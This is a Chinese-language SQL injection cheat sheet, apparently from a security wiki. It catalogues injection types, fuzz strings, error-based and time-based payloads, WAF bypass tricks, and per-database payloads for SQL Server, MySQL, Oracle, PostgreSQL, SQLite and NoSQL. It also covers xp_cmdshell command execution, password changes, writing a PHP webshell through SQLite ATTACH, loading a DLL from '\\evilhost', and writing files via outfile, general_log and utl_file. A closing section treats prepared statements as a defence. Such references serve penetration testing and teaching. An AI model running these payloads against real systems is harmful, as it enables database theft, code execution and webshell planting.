# 注入分类

# 简介

SQL 注入是一种代码注入技术,用于攻击数据驱动的应用程序。 在应用程序中,如果没有做恰当的过滤,则可能使得恶意的 SQL 语句被插入输入字段中执行(例如将数据库内容转储给攻击者)。

# 按技巧分类

根据使用的技巧,SQL 注入类型可分为

  • 盲注

    • 布尔盲注:只能从应用返回中推断语句执行后的布尔值
    • 时间盲注:应用没有明确的回显,只能使用特定的时间函数来判断
  • 报错注入:应用会显示全部或者部分的报错信息

  • 堆叠注入:有的应用可以加入 ; 后一次执行多条语句

  • 其他

# 按获取数据的方式分类

另外也可以根据获取数据的方式分为 3 类

# inband

利用 Web 应用来直接获取数据,如报错注入,这类注入都是通过站点的响应或者错误反馈来提取数据。

# inference

通过 Web 的一些反映来推断数据,如布尔盲注,也就是我们通俗的盲注, 通过 web 应用的其他改变来推断数据。

# out of band (OOB)

通过其他传输方式来获得数据,比如 DNS 解析协议和电子邮件。

# 注入检测

# 常见的注入点

  • GET/POST/PUT/DELETE 参数
  • X-Forwarded-For
  • 文件名

# Fuzz 注入点

  • ' / "
  • 1/1
  • 1/0
  • and 1=1
  • " and "1"="1
  • and 1=2
  • or 1=1
  • or 1=
  • ' and '1'='1
  • + - ^ * % /
  • << >> || | & &&
  • ~
  • !
  • @
  • 反引号执行

# 测试用常量

  • @@version
  • @@servername
  • @@language
  • @@spid

# 测试列数

例如 http://www.foo.com/index.asp?id=12+union+select+null,null-- ,不断增加 null 至不返回

# 报错注入

  • select 1/0
  • select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a
  • extractvalue(1, concat(0x5c,(select user())))
  • updatexml(0x3a,concat(1,(select user())),1)
  • exp(~(SELECT * from(select user())a))
  • ST_LatFromGeoHash((select * from(select * from(select user())a)b))
  • GTID_SUBSET(version(), 1)

# 基于 geometric 的报错注入

  • GeometryCollection((select * from (select * from(select user())a)b))
  • polygon((select * from(select * from(select user())a)b))
  • multipoint((select * from(select * from(select user())a)b))
  • multilinestring((select * from(select * from(select user())a)b))
  • LINESTRING((select * from(select * from(select user())a)b))
  • multipolygon((select * from(select * from(select user())a)b))

其中需要注意的是,基于 exp 函数的报错注入在 MySQL 5.5.49 后的版本已经不再生效,具体可以参考这个 commit 95825f

而以上列表中基于 geometric 的报错注入在这个 commit 5caea4 中被修复,在 5.5.x 较后的版本中同样不再生效。

# 堆叠注入

  • ;select 1

# 注释符

  • #
  • --+
  • /*xxx*/
  • /*!xxx*/
  • /*!50000xxx*/

# 判断过滤规则

  • 是否有 trunc
  • 是否过滤某个字符
  • 是否过滤关键字
  • slash 和编码

# 获取信息

  • 判断数据库类型

    • and exists (select * from msysobjects ) > 0 access 数据库
    • and exists (select * from sysobjects ) > 0 SQLServer 数据库
  • 判断数据库表

    • and exsits (select * from admin)
  • 版本、主机名、用户名、库名

  • 表和字段

    • 确定字段数

      • Order By

      • Select Into

    • 表名、列名

# 测试权限

  • 文件操作
    • 读敏感文件
    • 写 shell
  • 带外通道
    • 网络请求

# 权限提升

# UDF 提权

UDF(User Defined Function,用户自定义函数)是 MySQL 提供的一个功能,可以通过编写 DLL 扩展为 MySQL 添加新函数,扩充其功能。

当获得 MySQL 权限之后,即可通过这种方式上传自定义的扩展文件,从 MySQL 中执行系统命令。

# 数据库检测

# MySQL

  • sleep sleep(1)
  • benchmark BENCHMARK(5000000, MD5('test'))
  • 字符串连接
    • SELECT 'a' 'b'
    • SELECT CONCAT('some','string')
  • version
    • SELECT @@version
    • SELECT version()
  • 识别用函数
    • connection_id()
    • last_insert_id()
    • row_count()

# Oracle

  • 字符串连接
    • 'a'||'oracle' --
    • SELECT CONCAT('some','string')
  • version
    • SELECT banner FROM v$version
    • SELECT banner FROM v$version WHERE rownum=1

# SQLServer

  • WAITFOR WAITFOR DELAY '00:00:10';
  • SERVERNAME SELECT @@SERVERNAME
  • version SELECT @@version
  • 字符串连接
    • SELECT 'some'+'string'
  • 常量
    • @@pack_received
    • @@rowcount

# PostgreSQL

  • sleep pg_sleep(1)

# 绕过技巧

  • 编码绕过

    • 大小写
    • url 编码
    • html 编码
    • 十六进制编码
    • unicode 编码
  • 注释

    • // -- -- + -- - # /**/ ;%00
    • 内联注释用的更多,它有一个特性 /!**/ 只有 MySQL 能识别
    • e.g. index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
  • 只过滤了一次时

    • union => ununionion
  • 相同功能替换

    • 函数替换
      • substring / mid / sub
      • ascii / hex / bin
      • benchmark / sleep
    • 变量替换
      • user() / @@user
    • 符号和关键字
      • and / `&``
      • or / |
  • HTTP 参数

    • HTTP 参数污染
      • id=1&id=2&id=3 根据容器不同会有不同的结果
    • HTTP 分割注入
  • 缓冲区溢出

    • 一些 C 语言的 WAF 处理的字符串长度有限,超出某个长度后的 payload 可能不会被处理
  • 二次注入有长度限制时,通过多句执行的方法改掉数据库该字段的长度绕过

# SQL 注入小技巧

# 宽字节注入

一般程序员用 gbk 编码做开发的时候,会用 set names 'gbk' 来设定,这句话等同于

set
character_set_connection = 'gbk',
character_set_result = 'gbk',
character_set_client = 'gbk';

漏洞发生的原因是执行了 set character_set_client = 'gbk'; 之后,mysql 就会认为客户端传过来的数据是 gbk 编码的,从而使用 gbk 去解码,而 mysql_real_escape 是在解码前执行的。但是直接用 set names 'gbk' 的话 real_escape 是不知道设置的数据的编码的,就会加 %5c 。此时 server 拿到数据解码 就认为提交的字符 +%5c 是 gbk 的一个字符,这样就产生漏洞了。

解决的办法有三种,第一种是把 client 的 charset 设置为 binary,就不会做一次解码的操作。第二种是是 mysql_set_charset('gbk') ,这里就会把编码的信息保存在和数据库的连接里面,就不会出现这个问题了。 第三种就是用 pdo。

还有一些其他的编码技巧,比如 latin 会弃掉无效的 unicode,那么 admin%32 在代码里面不等于 admin,在数据库比较会等于 admin。

# CheatSheet

# SQL Server Payload

# 常见 Payload

  • Version

    • SELECT @@version
    • SELECT SERVERPROPERTY('Edition');
    • SELECT SERVERPROPERTY('EngineEdition');
  • Comment

    • SELECT 1 -- comment
    • SELECT /*comment*/1
  • Space

    • 0x01 - 0x20
  • 用户信息

    • SELECT user_name()
    • ``SELECT system_user`
    • SELECT user
    • SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
  • 用户权限

    • select IS_SRVROLEMEMBER('sysadmin')
    • select IS_SRVROLEMEMBER('db_owner')
  • List User

    SELECT name FROM master..syslogins

  • 数据库信息

    • SELECT name FROM master..sysdatabases
    • select concat_ws(table_schema,table_name,column_name) from information_schema.columns
    • select quotename(name) from master..sysdatabases FOR XML PATH('')
  • 执行命令

    • EXEC xp_cmdshell 'net user'
  • Ascii

    • SELECT char(0x41)
    • SELECT ascii('A')
    • SELECT char(65)+char(66) => return AB
  • Delay

    • WAITFOR DELAY '0:0:3' pause for 3 seconds
  • Change Password

    • ALTER LOGIN [sa] WITH PASSWORD=N'NewPassword'
  • Trick

    • id=1 union:select password from:user
  • 文件读取

    • OpenRowset
  • 当前查询语句

    • select text from sys.dm_exec_requests cross apply sys.dm_exec_sql_text(sql_handle)
  • hostname

    • 用于判断是否站库分离
    • select host_name()
    • exec xp_getnetname
  • 服务器信息

    • exec xp_msver
  • 系统配置

    • select * from sys.configurations;

# 注册表读写

  • xp_regread

    • exec xp_regread N'HKEY_LOCAL_MACHINE', N'SYSTEM\CurrentControlSet\Services\MSSEARCH'
  • xp_regwrite

  • xp_regdeletvalue

  • xp_regdeletkey

  • xp_regaddmultistring

# 报错注入

  • 1=convert(int,(db_name()))

# 常用函数

  • SUSER_NAME()
  • USER_NAME()
  • PERMISSIONS()
  • DB_NAME()
  • FILE_NAME()
  • TYPE_NAME()
  • COL_NAME()

# DNS OOB

  • fn_xe_file_target_read_file
  • fn_get_audit_file
  • fn_trace_gettable

# 其他常用存储过程

  • sp_execute_external_script
  • sp_makewebtask
  • sp_OACreate
  • sp_OADestroy
  • sp_OAGetErrorInfo
  • sp_OAGetProperty
  • sp_OAMethod
  • sp_OASetProperty
  • sp_OAStop
  • xp_cmdshell
  • xp_dirtree
  • xp_enumerrorlogs
  • xp_enumgroups
  • xp_fixeddrives
  • xp_getfiledetails
  • xp_loginconfig

# MySQL Payload

# 常见 Payload

  • Version

    • SELECT @@version
  • Comment

    • SELECT 1 -- comment
    • SELECT 1 # comment
    • SELECT /*comment*/1
  • Space

    • 0x9 0xa-0xd 0x20 0xa0
  • Current User

    • SELECT user()
    • SELECT system_user()
    • SELECT current_role()
  • List User

    • SELECT user FROM mysql.user
  • Current Database

    • SELECT database()
  • List Database

    • SELECT schema_name FROM information_schema.schemata
  • List Tables

    • SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
  • List Columns

    • SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
  • If

    • SELECT if(1=1,'foo','bar'); return 'foo'
  • Ascii

    • `SELECT char(0x41)
    • SELECT ascii('A')
    • SELECT 0x414243 => return ABC
  • Delay

    • sleep(1)
    • SELECT BENCHMARK(1000000,MD5('A'))
  • Read File

    • select @@datadir``select load_file('databasename/tablename.MYD')
  • Blind

    • ascii(substring(str,pos,length)) & 32 = 1
  • Error Based

    • select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;
    • select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))
  • Change Password

    • mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('newpassword') WHERE user='root';FLUSH PRIVILEGES;"

# 报错注入常见函数

  • extractvalue
  • updatexml
  • GeometryCollection
  • linestring
  • multilinestring
  • multipoint
  • multipolygon
  • polygon
  • exp

# 写文件

# 写文件前提

  • root 权限
  • 知晓文件绝对路径
  • 写入的路径存在写入权限
  • secure_file_priv 允许向对应位置写入
  • select count(file_priv) from mysql.user

# 基于 into 写文件

union select 1,1,1 into outfile '/tmp/demo.txt'
union select 1,1,1 into dumpfile '/tmp/demo.txt'

dumpfile 和 outfile 不同在于,outfile 会在行末端写入新行,会转义换行符,如果写入二进制文件,很可能被这种特性破坏

# 基于 log 写文件

show variables like '%general%';
set global general_log = on;
set global general_log_file = '/path/to/file';
select '<?php var_dump("test");?>';
set global general_log_file = '/original/path';
set global general_log = off;

# PostgresSQL Payload

  • Version
    • SELECT version()
  • Comment
    • SELECT 1 -- comment``SELECT /*comment*/1
  • Current User
    • SELECT user
    • SELECT current_user
    • ``SELECT session_user`
    • SELECT getpgusername()
  • List User
    • SELECT usename FROM pg_user
  • Current Database
    • SELECT current_database()
  • List Database
    • SELECT datname FROM pg_database
  • Ascii
    • SELECT char(0x41)
    • SELECT ascii('A')
  • Delay
    • pg_sleep(1)

# Oracle Payload

# 常见 Payload

    • dump

      select * from v$tablespace;``select * from user_tables;``select column_name from user_tab_columns where table_name = 'table_name';``select column_name, data_type from user_tab_columns where table_name = 'table_name';``SELECT * FROM ALL_TABLES

    • Comment

      --``/**/

    • Space

      0x00 0x09 0xa-0xd 0x20

    • 报错

      utl_inaddr.get_host_name``ctxsys.drithsx.sn``ctxsys.CTX_REPORT.TOKEN_TYPE``XMLType``dbms_xdb_version.checkin``dbms_xdb_version.makeversioned``dbms_xdb_version.uncheckout``dbms_utility.sqlid_to_sqlhash``ordsys.ord_dicom.getmappingxpath``utl_inaddr.get_host_name``utl_inaddr.get_host_address

    • OOB

      utl_http.request``utl_inaddr.get_host_address``SYS.DBMS_LDAP.INIT``HTTPURITYPE``HTTP_URITYPE.GETCLOB

    • 绕过

      rawtohex

# 写文件

create or replace directory TEST_DIR as '/path/to/dir';
grant read, write on directory TEST_DIR to system;
declare
   isto_file utl_file.file_type;
begin
   isto_file := utl_file.fopen('TEST_DIR', 'test.jsp', 'W');
   utl_file.put_line(isto_file, '<% out.println("test"); %>');
   utl_file.fflush(isto_file);
   utl_file.fclose(isto_file);
end;

# SQLite3 Payload

  • Comment
    • --
    • /**/
  • Version
    • select sqlite_version();

Command Execution

ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');--

Load_extension

UNION SELECT 1,load_extension('\\evilhost\evil.dll','E');--

# NoSQL Payload

# 常见 Payload

  • 绕过限制条件
    • {"username": "user"} => {"username": {"ne": "fakeuser"}}
    • {"$where": "return true"}
  • 测试用字符
    • '"\/$[].>
  • 布尔测试常用
    • {"$ne": -1}
    • {"$in": []}
    • {"$where": "return true"}
    • {"$or": [{},{"foo":"1"}]}
  • 时间
    • {"$where": "sleep(100)"}

# 预编译

# 简介

SQL 注入是因为解释器将传入的数据当成命令执行而导致的,预编译是用于解决这个问题的一种方法。和普通的执行流程不同,预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,由后端的 SQL 引擎进行解析为 AST 或 Opcode,第二次交互发送数据,代入 AST 或 Opcode 中执行。因为此时语法解析已经完成,所以不会再出现混淆数据和代码的过程。

# 模拟预编译

为了防止低版本数据库不支持预编译的情况,模拟预编译会在客户端内部模拟参数绑定的过程,进行自定义的转义。

# 绕过

# 预编译使用错误

预编译只是使用占位符替代的字段值的部分,如果第一次交互传入的命令使用了字符串拼接,使得命令是攻击者可控的,那么预编译不会生效。

# 部分参数不可预编译

在有的情况下,数据库处理引擎会检查数据表和数据列是否存在,因此数据表名和列名不能被占位符所替代。这种情况下如果表名和列名可控,则可能引入漏洞。

# 预编译实现错误

部分语言引擎在实现上存在一定问题,可能会存在绕过漏洞。

# 参考文章

# Tricks

  • sqlmap time based inject 分析
  • SQLInjectionWiki
  • 常见数据库写入 Webshell 汇总
  • MSSQL 数据库攻击实战指北

# Bypass

  • SQL 注入 ByPass 的一些小技巧
  • Waf Bypass 之道
  • MySQL Bypass Wiki

# NoSQL

  • NoSQL 注入的分析和缓解
  • NoSQL 注入

# Cheatsheet

  • MSSQL Pentest Cheatsheet